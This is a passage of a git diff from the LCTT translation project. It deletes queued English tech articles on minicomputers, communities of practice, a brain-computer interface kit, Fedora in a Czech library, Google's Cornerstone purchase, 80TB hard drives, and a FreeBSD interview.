-校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/abhishek/ -[b]: https://github.com/lujun9972 -[1]: https://appimage.org/ -[2]: https://itsfoss.com/use-appimage-linux/ -[3]: https://itsfoss.com/install-deb-files-ubuntu/ -[4]: https://getfedora.org/ -[5]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/02/appimage_simon_interview.jpg?ssl=1 -[6]: https://en.wikipedia.org/wiki/Macintosh -[7]: https://itsfoss.com/linus-torvalds-facts/ -[8]: https://itsfoss.com/install-snap-linux/ -[9]: https://flatpak.org/ -[10]: https://canonical.com/ -[11]: https://www.redhat.com/en -[12]: https://itsfoss.com/nitrux-linux-overview/ -[13]: https://itsfoss.com/best-linux-desktop-environments/ -[14]: https://www.deepin.org/en/ -[15]: https://appimage.github.io/ diff --git a/sources/talk/20200216 Minicomputers and The Soul of a New Machine.md b/sources/talk/20200216 Minicomputers and The Soul of a New Machine.md deleted file mode 100644 index c1e68b1a8d..0000000000 --- a/sources/talk/20200216 Minicomputers and The Soul of a New Machine.md +++ /dev/null @@ -1,95 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Minicomputers and The Soul of a New Machine) -[#]: via: (https://opensource.com/article/20/2/minicomputers-and-soul-new-machine) -[#]: author: (Matthew Broberg https://opensource.com/users/mbbroberg) - -Minicomputers and The Soul of a New Machine -====== -The new season of Command Line Heroes begins with a story of increases -in memory, company politics, and a forgotten technology at the heart of -our computing history. -![Command Line Heroes season 4 episode 1 covers the rise of minicomputers][1] - -The [Command Line Heroes podcast][2] is back, and this season it covers the machines that run all the programming languages [I covered last season][3]. As the podcast staff puts it: - -"This season, we'll look at what happens when idealistic teams come together to build visionary machines. Machines made with leaps of faith and a lot of hard, often unrecognized, work in basements and stifling cubicles. Machines that brought teams together and changed us as a society in ways we could only dream of." - -This first episode looks at the non-fiction book (and engineering classic), [_The Soul of a New Machine_][4], to look at a critical moment in computing history. It covers the transition from large, hulking mainframes to the intermediate step of the minicomputer, which will eventually lead us to the PC revolution that we're still living in the wake of. - -### The rise of minicomputers - -One of the most important machines on the path to modern machines, most of us have since forgotten: the minicomputer. - -It was a crucial link in the evolution from mainframe to PC (aka microcomputer). It was also extremely important in the development of software that would fuel the PC revolution, chiefly the operating system. The PDP-7 and PDP-11—on which [UNIX was developed][5]—were examples of minicomputers. So was the machine at the heart of _The Soul of the New Machine_. - -This episode takes us back to this important time in computing and explores this forgotten machine—both in terms of its hardware and software. - -From 1963 to 1977, minicomputers were 12 to 16-bit machines from computing giants DEC ([PDP][6]) and rival upstart [Data General][7] ([Nova][8], [Eclipse][9]). But in October 1977, DEC unveiled the VAX 11/780, a 32-bit CPU built from transistor-transistor logic with a five megahertz cycle-time and 2 megabytes of memory. The VAX launched DEC [into second place][10] in the largest computer company in the world. - -The jump from a 12-bit to a 32-bit CPU is a jump from 4,096 bytes to 4,294,967,296 bytes of data. That increase massively increased the potential for software to do complex tasks while drastically shrinking the size of the computer. And with a 32-bit CPU, the VAX was nearly as powerful as an IBM/360 mainframe—but much smaller and much, much less expensive. - -[The episode][11] goes into the drama that unfolds as teams within Data General race to have the most marketable minicomputer while working through company politics and strong personalities. - -### Revisiting _The Soul of a New Machine_ - -_The Soul of a New Machine_ was written in 1981 by Tracy Kidder, and chronicles a small group of engineers at the now-former tech company, Data General, as they attempt to compete with a rival internal group and create a 32-bit minicomputer as a skunkworks project known as "Eagle." For those okay with spoilers, the computer would eventually be known as the [Eclipse MV/8000][12]. - -Earlier this year, [Jessie Frazelle][13], of Docker, Go, and Kubernetes fame, and [Bryan Cantrill][14], known for [DTrace][15], Joyent, and many other technologies, publicly wrote about reading the non-fiction classic. As it's written, Cantrill mentioned the book to Frazelle, who read it and then wrote an enthusiastic [blog post][16] about the book. As Frazelle put it: - -"Personally, I look back on the golden age of computers as the time when people were building the first personal computers in their garage. There is a certain whimsy of that time fueled with a mix of hard work and passion for building something crazy with a very small team. In today's age, at large companies, most engineers take jobs where they work on one teeny aspect of a machine or website or app. Sometimes they are not even aware of the larger goal or vision but just their own little world. - -In the book, a small team built an entire machine… The team wasn't driven by power or greed, but by accomplishment and self-fulfillment. They put a part of themselves in the machine, therefore, producing a machine with a soul…The team was made up of programmers with the utmost expertise and experience and also with new programmers." - -Inspired by Frazelle's reaction, Cantrill re-read it and wrote [a blog article][17] about it and writes this beautiful note: - -"…_The Soul of a New Machine_ serves to remind us that the soul of what we build is, above all, shared — that we do not endeavor alone but rather with a group of like-minded individuals." - -Frazelle's and Cantrill's reading of the book and blog [sparked a wave of people][18] exploring and talking about this text. While it remains on my book list, this dialogue-by-book-review is at the heart of the CLH season 4 as it explores the entire machine. - -### Why did the minicomputer go the way of the Neanderthal? - -As we all know, minicomputers are not a popular purchase in today's technology market. Minicomputers ended up being great technology for timesharing. The irony is that they unwittingly sealed their own fate. The Internet, which started off as ARPANET, was basically a new kind of timesharing. They were so good at timesharing that at one point, the DEC PDP 11 accounted for over 30% of the nodes on ARPANET. Minicomputers were powering their own demise.* - -Minicomputers paved the way for smaller computers and for more and more people to have access to these powerful, society-changing machines. But I'm getting ahead of myself. Keep listening to the [new season of Command Line Heroes][2] to continue the story of machines in computing history. - -* * * - -What's your minicomputer story? I'd love to read them in the comments. - -(There were, of course, other factors leading to the end of this era. Minicomputers were fighting at the low end of the market with the rise of microcomputers, while Unix systems continued to push into the midrange market. The rise of the Internet was perhaps its final blow.) - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/2/minicomputers-and-soul-new-machine - -作者:[Matthew Broberg][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/mbbroberg -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/command-line-heroes-minicomputers-s4-e1.png?itok=FRaff5i6 (Command Line Heroes season 4 episode 1 covers the rise of minicomputers) -[2]: https://www.redhat.com/en/command-line-heroes -[3]: https://opensource.com/article/19/6/command-line-heroes-python -[4]: https://en.wikipedia.org/wiki/The_Soul_of_a_New_Machine -[5]: https://opensource.com/19/9/command-line-heroes-bash -[6]: https://en.wikipedia.org/wiki/PDP -[7]: https://en.wikipedia.org/wiki/Data_General -[8]: https://en.wikipedia.org/wiki/Data_General_Nova -[9]: https://en.wikipedia.org/wiki/Data_General_Eclipse -[10]: http://www.old-computers.com/history/detail.asp?n=20&t=3 -[11]: https://www.redhat.com/en/command-line-heroes/season-4/minicomputers -[12]: https://en.wikipedia.org/wiki/Data_General_Eclipse_MV/8000 -[13]: https://twitter.com/jessfraz?lang=en -[14]: https://en.wikipedia.org/wiki/Bryan_Cantrill -[15]: https://en.wikipedia.org/wiki/DTrace -[16]: https://blog.jessfraz.com/post/new-golden-age-of-building-with-soul/ -[17]: http://dtrace.org/blogs/bmc/2019/02/10/reflecting-on-the-soul-of-a-new-machine/ -[18]: https://twitter.com/search?q=jessfraz%20soul%20new%20machine&src=typed_query&f=live diff --git a/sources/talk/20200218 Building a community of practice in 5 steps.md b/sources/talk/20200218 Building a community of practice in 5 steps.md deleted file mode 100644 index c763a78660..0000000000 --- a/sources/talk/20200218 Building a community of practice in 5 steps.md +++ /dev/null @@ -1,99 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Building a community of practice in 5 steps) -[#]: via: (https://opensource.com/article/20/2/building-community-practice-5-steps) -[#]: author: (Tracy Buckner https://opensource.com/users/tracyb) - -Building a community of practice in 5 steps -====== -A community of practice can kickstart innovation in your organization. -Here's how to build one—and ensure it thrives. -![Blocks for building][1] - -In the [first part of this series][2], we defined community as a fundamental principle in open organizations, where people often define their roles, responsibilities, and affiliations through shared interests and passions, [not title, role, or position on an organizational chart][3]. Then, in the [second part of the series][4], we explored the many benefits communities of practice bring to open organizations—including fostering learning, encouraging collaboration, and offering an opportunity for creative problem-solving and innovation. - -Now you know you'd like to _start_ a community of practice, but you may still be unsure _where_ to start. This article will help define your roadmap and build a plan for a successful community of practice—in five simple steps (summarized in Figure 1). - -![][5] - -### Step 1: Obtain executive sponsorship - -While having a community manager focused on the day-to-day execution of community matters is important, an executive sponsor is also integral to the success of the community of practice. Typically, an executive sponsor will shoulder higher-level responsibilities, such as focusing on strategy and creating conditions for success (rather than implementation). - -An executive sponsor can help ensure the community's goals are aligned with the overall strategy of the organization. This person can also communicate those goals and gather support for the community from other senior executives (potentially instrumental in securing financial support and resources for the community!). - -Finding the right sponsor is important for the success of the program. An executive leader committed to fostering open culture, transparency, and collaboration will be very successful. Alternatively, you may wish to tap an executive focused on finding new ways to grow and reskill high-potential employees. - -### Step 2: Determine mission and goals - -Once you've established a vision for the community, you'll need to develop its mission statement. This is critical to your success because the mission begins explaining _how you'll achieve that vision_. Primarily, your community's mission should be to share knowledge, promote learning in a particular area, and align that work with organizational strategy. However, the mission statement may also include references to the audience that the community will serve. - -Here's one example mission statement: - -> _To identify and address needs within the cloud infrastructure space in support of the organization’s mission of defining the next generation of open hybrid cloud._ - -After articulating a mission like this, you'll need to set specific goals for achieving it. The goals can be long- or short-term, but in either case, you'll need to provide a clear roadmap explaining to community members what the community is trying to achieve. - -### Step 3: Build a core team - -Building a core team is essential to the success of a community. In a typical community of practice—or "CoP," for short—you'll notice four main roles: - - * CoP program manager - * CoP manager - * Core team members - * Members - - - -The **CoP program manager** is the face of the community. This person is primarily responsible for supporting the managers and core teams by resolving questions, issues, and concerns. The program manager also guides new communities and evangelizes the communities of practice program inside the organization. - -The **CoP manager** determines community strategy based on business and community needs. This person makes the latest news, content, and events available to community members and ensures that the CoP remains focused on its goals. This person also schedules regular meetings for members and shares other events that may be of interest to them. - -The **CoP core team** is responsible for managing community collateral and best practices to meet the community's goals. The core team supports CoP manager(s) and assists with preparing and leading community meetings. - -**Members** of a community attend meetings, share relevant content and best practices, and support the core team and manager(s) in reaching community goals. - -### Step 4: Promote knowledge management - -Communities of practice produce information—and members must be able to easily access and share that information. So it's important to develop a knowledge-management system for storing that information in a way that keeps it relevant and timely. - -Communities of practice produce information—and members must be able to easily access and share that information. So it's important to develop a knowledge-management system for storing that information in a way that keeps it relevant and timely. - -Over time, your community of practice will likely generate a lot of content. Some of that content may be duplicated, outdated or simply no longer relevant to the community. So it's important to periodically conduct a ROT Analysis of the content validating that the content is not **R**edundant, **O**utdated, or **T**rivial. Consider conducting a ROT analysis every six months or so, in order to keep the content fresh and relevant. - -A number of different content management tools can assist with maintaining and displaying the content for community members. Some organizations use an intranet, while others prefer more robust content management such as [AO Docs][6] or [Drupal][7]. - -### Step 5: Engage in regular communication - -The secret to success in maintaining a community of practice is regular communication and collaboration. Communities that speak with each other frequently and share knowledge, ideas, and best practices are most likely to remain intact. CoP managers should schedule regular meetings, meet-ups, and content creation sessions to ensure that members are engaged in the community. It is recommended to have at least a monthly meeting to maintain communication with the community members. - -Chat/messaging apps are also a great tool for facilitating regular communication in communities of practice. These apps offer teams across the globe the ability to communicate in real-time, removing some collaboration boundaries. Members can pose questions and receive answers immediately, without the delay of sending and receiving emails. And should the questions arise again, most messaging apps also provide an easy search mechanism that can help members discover answers. - -### Building your community - -Remember: A community of practice is a cost-effective way to foster learning, encourage collaboration, and promote innovation in an organization. In [_The Open Organization_][8], Jim Whitehurst argues that "the beauty of an open organization is that it is not about pedaling harder, but about tapping into new sources of power both inside and outside to keep pace with all the fast-moving changes in your environment." Building communities of practice are the perfect way to do just that: stop pedaling harder and to tap into new sources of power within your organization. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/2/building-community-practice-5-steps - -作者:[Tracy Buckner][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/tracyb -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/blocks_building.png?itok=eMOT-ire (Blocks for building) -[2]: https://opensource.com/open-organization/19/11/what-is-community-practice -[3]: https://opensource.com/open-organization/resources/open-org-definition -[4]: https://opensource.com/open-organization/20/1/why-build-community-of-practice -[5]: https://opensource.com/sites/default/files/resize/images/open-org/comm_practice_5_steps-700x440.png -[6]: https://www.aodocs.com/ -[7]: https://www.drupal.org/ -[8]: https://opensource.com/open-organization/resources/what-open-organization diff --git a/sources/talk/20200219 A -399 device that translates brain signals into digital commands.md b/sources/talk/20200219 A -399 device that translates brain signals into digital commands.md deleted file mode 100644 index e9c13ff8d2..0000000000 --- a/sources/talk/20200219 A -399 device that translates brain signals into digital commands.md +++ /dev/null @@ -1,62 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (A $399 device that translates brain signals into digital commands) -[#]: via: (https://www.networkworld.com/article/3526446/nextmind-wearable-device-translates-brain-signals-into-digital-commands.html) -[#]: author: (Patrick Nelson https://www.networkworld.com/author/Patrick-Nelson/) - -A $399 device that translates brain signals into digital commands -====== -Startup NextMind is readying a $399 development kit for its brain-computer interface technology that enables users to interact, hands-free, with computers and VR/AR headsets. -MetamorWorks / Getty Images - -Scientists have long envisioned brain-sensing technology that can translate thoughts into digital commands, eliminating the need for computer-input devices like a keyboard and mouse. One company is preparing to ship its latest contribution to the effort: a $399 development package for a noninvasive, AI-based, brain-computer interface. - -The kit will let "users control anything in their digital world by using just their thoughts," [NextMind][1], a commercial spinoff of a cognitive neuroscience lab claims in a [press release][2]. - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][3] - -The company says that its puck-like device inserts into a cap or headband and rests on the back of the head. The dry electrode-based receiver then grabs data from the electrical signals generated through neuron activity. It uses machine learning algorithms to convert that signal output into computer controls. The interaction could be with a computer, artificial-reality or virtual-reality headset, or [IoT][4] module. - -"Imagine taking your phone to send a text message without ever touching the screen, without using Siri, just by using the speed and power of your thoughts," said NextMind founder Sid Kouider in a [video presentation][5] at Helsinki startup conference Slush in late 2019. - -Advances in neuroscience are enabling real-time consciousness-decoding, without surgery or a doctor visit, according to Kouider. - -One obstacle that has thwarted previous efforts is the human skull, which can act as a barrier to sensors. It’s been difficult for scientists to differentiate indicators from noise, and some past efforts have only been able to discern basic things, such as whether or not a person is in a state of sleep or relaxation. New materials, better sensors, and more sophisticated algorithms and modeling have overcome some of those limitations. NextMind’s noninvasive technology "translates the data in real time," Kouider says. - -Essentially, what happens is that a person’s eyes project an image of what they see onto the visual cortex in the back of the head, a bit like a projector. The NextMind device decodes the neural activity created as the object is viewed and sends that information, via an SDK, back as an input to a computer. So, by fixing one’s gaze on an object, one selects that object. For example, a user could select a screen icon by glancing at it. - -[][6] - -"The demos were by no means perfect, but there was no doubt in my mind that the technology worked," [wrote VentureBeat writer Emil Protalinski][7], who tested a pre-release device in January. - -Kouider has stated it’s the "intent" aspect of the technology that’s most interesting; if a person focuses on one thing more than something else, the technology can decode the neural signals to capture that user’s intent. - -"It really gives you a kind of sixth sense, where you can feel your brain in action, thanks to the feedback loop between your brain and a display," Kouider says in the Slush presentation. - -Join the Network World communities on [Facebook][8] and [LinkedIn][9] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3526446/nextmind-wearable-device-translates-brain-signals-into-digital-commands.html - -作者:[Patrick Nelson][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Patrick-Nelson/ -[b]: https://github.com/lujun9972 -[1]: https://www.next-mind.com/ -[2]: https://www.businesswire.com/news/home/20200105005107/en/CES-2020-It%E2%80%99s-Mind-Matter -[3]: https://www.networkworld.com/newsletters/signup.html -[4]: http://www.networkworld.com/cms/article/3207535 -[5]: https://youtu.be/RHuaNDSxH0o -[6]: https://www.networkworld.com/article/3440100/take-the-intelligent-route-with-consumption-based-storage.html?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE21620&utm_content=sidebar ( Take the Intelligent Route with Consumption-Based Storage) -[7]: https://venturebeat.com/2020/01/05/nextmind-is-building-a-real-time-brain-computer-interface-unveils-dev-kit-for-399/ -[8]: https://www.facebook.com/NetworkWorld/ -[9]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200219 Fedora at the Czech National Library of Technology.md b/sources/talk/20200219 Fedora at the Czech National Library of Technology.md deleted file mode 100644 index d1354b99ff..0000000000 --- a/sources/talk/20200219 Fedora at the Czech National Library of Technology.md +++ /dev/null @@ -1,54 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Fedora at the Czech National Library of Technology) -[#]: via: (https://fedoramagazine.org/fedora-at-the-national-library-of-technology/) -[#]: author: (Ben Cotton https://fedoramagazine.org/author/bcotton/) - -Fedora at the Czech National Library of Technology -====== - -![][1] - -Where do you turn when you have a fleet of public workstations to manage? If you’re the Czech [National Library of Technology][2] (NTK), you turn to Fedora. Located in Prague, the NTK is the Czech Republic’s largest science and technology library. As part of its public service mission, the NTK provides 150 workstations for public use. - -In 2018, the NTK moved these workstations from Microsoft Windows to Fedora. In the [press release][3] announcing this change, Director Martin Svoboda said switching to Fedora will “reduce operating system support costs by about two-thirds.” The choice to use Fedora was easy, according to NTK Linux Engineer Miroslav Brabenec. “Our entire Linux infrastructure runs on RHEL or CentOS. So for desktop systems, Fedora was the obvious choice,” he told Fedora Magazine. - -### User reception - -Changing an operating system is always a little bit risky—it requires user training and outreach. Brabenec said that non-IT staff asked for training on the new system. Once they learned that the same (or compatible) software was available, they were fine. - -The Library’s customers were on board right away. The Windows environment was based on thin client terminals, which were slow for intensive tasks like video playback and handling large office suite files. The only end-user education that the NTK needed to create was a [basic usage guide][4] and a desktop wallpaper that pointed to important UI elements. - -![User guidance desktop wallpaper from the National Technology Library.][5] - -Although Fedora provides development tools used by the Faculty of Information Technology at the Czech Technical University—and many of the NTK’s workstation users are CTU students—most of the application usage is what you might expect of a general-purpose workstation. Firefox dominates the application usage, followed by the Evince PDF viewer,  and the LibreOffice suite. - -### Updates - -NTK first deployed the workstations with Fedora 28. They decided to skip Fedora 29 and upgraded to Fedora 30 in early June 2019. The process was simple, according to Brabenec. “We prepared configuration, put it into Ansible. Via AWX I restarted all systems to netboot, image with kickstart, after first boot called provisioning callback on AWX, everything automatically set up via Ansible.” - -Initially, they had difficulties applying updates. Now they have a process for installing security updates daily. Each system is rebooted approximately every two weeks to make sure all of the updates get applied. - -Although he isn’t aware of any concrete plans for the future, Brabenec expects the NTK to continue using Fedora for public workstations. “Everyone is happy with it and I think that no one has a good reason to change it.” - --------------------------------------------------------------------------------- - -via: https://fedoramagazine.org/fedora-at-the-national-library-of-technology/ - -作者:[Ben Cotton][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://fedoramagazine.org/author/bcotton/ -[b]: https://github.com/lujun9972 -[1]: https://fedoramagazine.org/wp-content/uploads/2020/02/czech-techlib-816x345.png -[2]: https://www.techlib.cz/en/ -[3]: https://www.techlib.cz/default/files/download/id/86431/tiskova-zprava-z-31-7-2018.pdf -[4]: https://www.techlib.cz/en/82993-public-computers -[5]: https://fedoramagazine.org/wp-content/uploads/2020/02/ntk-wallpaper-1024x576.jpeg diff --git a/sources/talk/20200221 Google Cloud moves to aid mainframe migration.md b/sources/talk/20200221 Google Cloud moves to aid mainframe migration.md deleted file mode 100644 index 64b3565109..0000000000 --- a/sources/talk/20200221 Google Cloud moves to aid mainframe migration.md +++ /dev/null @@ -1,64 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Google Cloud moves to aid mainframe migration) -[#]: via: (https://www.networkworld.com/article/3528451/google-cloud-moves-to-aid-mainframe-migration.html) -[#]: author: (Michael Cooney https://www.networkworld.com/author/Michael-Cooney/) - -Google Cloud moves to aid mainframe migration -====== -Google bought Cornerstone Technology, whose technology facilitates moving mainframe applications to the cloud. -Thinkstock - -Google Cloud this week bought a mainframe cloud-migration service firm Cornerstone Technology with an eye toward helping Big Iron customers move workloads to the private and public cloud.  - -Google said the Cornerstone technology – found in its [G4 platform][1] – will shape the foundation of its future mainframe-to-Google Cloud offerings and help mainframe customers modernize applications and infrastructure. - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][2] - -“Through the use of automated processes, Cornerstone’s tools can break down your Cobol, PL/1, or Assembler programs into services and then make them cloud native, such as within a managed, containerized environment” wrote Howard Weale, Google’s director, Transformation Practice, in a [blog][3] about the buy. - -“As the industry increasingly builds applications as a set of services, many customers want to break their mainframe monolith programs into either Java monoliths or Java microservices,” Weale stated.  - -Google Cloud’s Cornerstone service will: - - * Develop a migration roadmap where Google will assess a customer’s mainframe environment and create a roadmap to a modern services architecture. - * Convert any language to any other language and any database to any other database to prepare applications for modern environments. - * Automate the migration of workloads to the Google Cloud. - - - -“Easy mainframe migration will go a long way as Google attracts large enterprises to its cloud,” said Matt Eastwood, senior vice president, Enterprise Infrastructure, Cloud, Developers and Alliances, IDC wrote in a statement. - -The Cornerstone move is also part of Google’s effort stay competitive in the face of mainframe-migration offerings from [Amazon Web Services][4], [IBM/RedHat][5] and [Microsoft][6]. - -While the idea of moving legacy applications off the mainframe might indeed be beneficial to a business, Gartner last year warned that such decisions should be taken very deliberately. - -“The value gained by moving applications from the traditional enterprise platform onto the next ‘bright, shiny thing’ rarely provides an improvement in the business process or the company’s bottom line. A great deal of analysis must be performed and each cost accounted for,” Gartner stated in a report entitled *[_Considering Leaving Legacy IBM Platforms? Beware, as Cost Savings May Disappoint, While Risking Quality_][7]. * “Legacy platforms may seem old, outdated and due for replacement. Yet IBM and other vendors are continually integrating open-source tools to appeal to more developers while updating the hardware. Application leaders should reassess the capabilities and quality of these platforms before leaving them.” - -Join the Network World communities on [Facebook][8] and [LinkedIn][9] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3528451/google-cloud-moves-to-aid-mainframe-migration.html - -作者:[Michael Cooney][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Michael-Cooney/ -[b]: https://github.com/lujun9972 -[1]: https://www.cornerstone.nl/solutions/modernization -[2]: https://www.networkworld.com/newsletters/signup.html -[3]: https://cloud.google.com/blog/topics/inside-google-cloud/helping-customers-migrate-their-mainframe-workloads-to-google-cloud -[4]: https://aws.amazon.com/blogs/enterprise-strategy/yes-you-should-modernize-your-mainframe-with-the-cloud/ -[5]: https://www.networkworld.com/article/3438542/ibm-z15-mainframe-amps-up-cloud-security-features.html -[6]: https://azure.microsoft.com/en-us/migration/mainframe/ -[7]: https://www.gartner.com/doc/reprints?id=1-6L80XQJ&ct=190429&st=sb -[8]: https://www.facebook.com/NetworkWorld/ -[9]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200221 Japanese firm announces potential 80TB hard drives.md b/sources/talk/20200221 Japanese firm announces potential 80TB hard drives.md deleted file mode 100644 index c44e9ded6e..0000000000 --- a/sources/talk/20200221 Japanese firm announces potential 80TB hard drives.md +++ /dev/null @@ -1,57 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Japanese firm announces potential 80TB hard drives) -[#]: via: (https://www.networkworld.com/article/3528211/japanese-firm-announces-potential-80tb-hard-drives.html) -[#]: author: (Andy Patrizio https://www.networkworld.com/author/Andy-Patrizio/) - -Japanese firm announces potential 80TB hard drives -====== -Using some very fancy physics for stacking electrons, Showa Denko K.K. plans to quadruple the top end of proposed capacity. -[geralt][1] [(CC0)][2] - -Hard drive makers are staving off obsolescence to solid-state drives (SSDs) by offering capacities that are simply not feasible in an SSD. Seagate and Western Digital are both pushing to release 20TB hard disks in the next few years. A 20TB SSD might be doable but also cost more than a new car. - -But Showa Denko K.K. of Japan has gone one further with the announcement of its next-generation of heat-assisted magnetic recording (HAMR) media for hard drives. The platters use all-new magnetic thin films to maximize their data density, with the goal of eventually enabling 70TB to 80TB hard drives in a 3.5-inch form factor. - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][3] - -Showa Denko is the world’s largest independent maker of platters for hard drives, selling them to basically anyone left making hard drives not named Seagate and Western Digital. Those two make their own platters and are working on their own next-generation drives for release in the coming years. - -While similar in concept, Seagate and Western Digital have chosen different solutions to the same problem. HAMR, championed by Seagate and Showa, works by temporarily heating the disk material during the write process so data can be written to a much smaller space, thus increasing capacity. - -Western Digital supports a different technology called microwave-assisted magnetic recording (MAMR). It operates under a similar concept as HAMR but uses microwaves instead of heat to alter the drive platter. Seagate hopes to get to 48TB by 2023, while Western Digital is planning on releasing 18TB and 20TB drives this year. - -Heat is never good for a piece of electrical equipment, and Showa Denko’s platters for HAMR HDDs are made of a special composite alloy to tolerate temperature and reduce wear, not to mention increase density. A standard hard disk has a density of about 1.1TB per square inch. Showa’s drive platters have a density of 5-6TB per square inch. - -The question is when they will be for sale, and who will use them. Fellow Japanese electronics giant Toshiba is expected to ship drives with Showa platters later this year. Seagate will be the first American company to adopt HAMR, with 20TB drives scheduled to ship in late 2020. - -[][4] - -Know what’s scary? That still may not be enough. IDC predicts that our global datasphere – the total of all of the digital data we create, consume, or capture – will grow from a total of approximately 40 zettabytes of data in 2019 to 175 zettabytes total by 2025. - -So even with the growth in hard-drive density, the growth in the global data pool – everything from Oracle databases to Instagram photos – may still mean deploying thousands upon thousands of hard drives across data centers. - -Join the Network World communities on [Facebook][5] and [LinkedIn][6] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3528211/japanese-firm-announces-potential-80tb-hard-drives.html - -作者:[Andy Patrizio][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Andy-Patrizio/ -[b]: https://github.com/lujun9972 -[1]: https://pixabay.com/en/data-data-loss-missing-data-process-2764823/ -[2]: https://creativecommons.org/publicdomain/zero/1.0/ -[3]: https://www.networkworld.com/newsletters/signup.html -[4]: https://www.networkworld.com/article/3440100/take-the-intelligent-route-with-consumption-based-storage.html?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE21620&utm_content=sidebar ( Take the Intelligent Route with Consumption-Based Storage) -[5]: https://www.facebook.com/NetworkWorld/ -[6]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200224 Discussing Past, Present and Future of FreeBSD Project.md b/sources/talk/20200224 Discussing Past, Present and Future of FreeBSD Project.md deleted file mode 100644 index 4a02a80f20..0000000000 --- a/sources/talk/20200224 Discussing Past, Present and Future of FreeBSD Project.md +++ /dev/null @@ -1,106 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Discussing Past, Present and Future of FreeBSD Project) -[#]: via: (https://itsfoss.com/freebsd-interview-deb-goodkin/) -[#]: author: (Abhishek Prakash https://itsfoss.com/author/abhishek/) - -Discussing Past, Present and Future of FreeBSD Project -====== - -[FreeBSD][1] is one of the most popular BSD distributions. It is used on desktop, servers and embedded devices for more than two decades. - -We talked to Deb Goodkin, executive director, [FreeBSD Foundation][2] and discussed the past, present and future of FreeBSD project. - -![][3] - -**It’s FOSS: FreeBSD has been in the scene for more than 25 years. How do you see the journey of FreeBSD? ** - -Over the years, we’ve seen a lot of innovation happening on and with FreeBSD. When the Foundation came into play 20 years ago, we were able to step in and help accelerate changes in the operating system. Over the years, we’ve increased our marketing support, to provide more advocacy and educational material, and to increase the awareness and use of FreeBSD. - -In addition, we’ve increased our staff of software developers to allow us to quickly step in to fix bugs, review patches, implement workarounds to hardware issues, and implement new features and functionality. We have also increased the number of development projects we are funding to improve various areas of FreeBSD. - -The history of stability and reliability, along with all the improvements and growth with FreeBSD, is making it a compelling choice for companies, universities, and individuals. - -**It’s FOSS: We know that Netflix uses FreeBSD extensively. What other companies or groups rely on FreeBSD? How do they contribute to BSD/FreeBSD (if they do at all)?** - -Sony’s Playstation 4 uses a modified version of FreeBSD as their operating system, Apple with their MacOS and iOS, NetApp in their ONTAP product, Juniper Networks  in [JunOS][4], Trivago in their backend infrastructure, University of Cambridge in security research including the Capability Hardware Enhanced RISC Instruction (CHERI) project, University of Notre Dame in their Engineering Department, Groupon in their datacenter, LA Times in their data center, as well as, other notable companies like Panasonic, and Nintendo. - -I listed a variety of organizations to 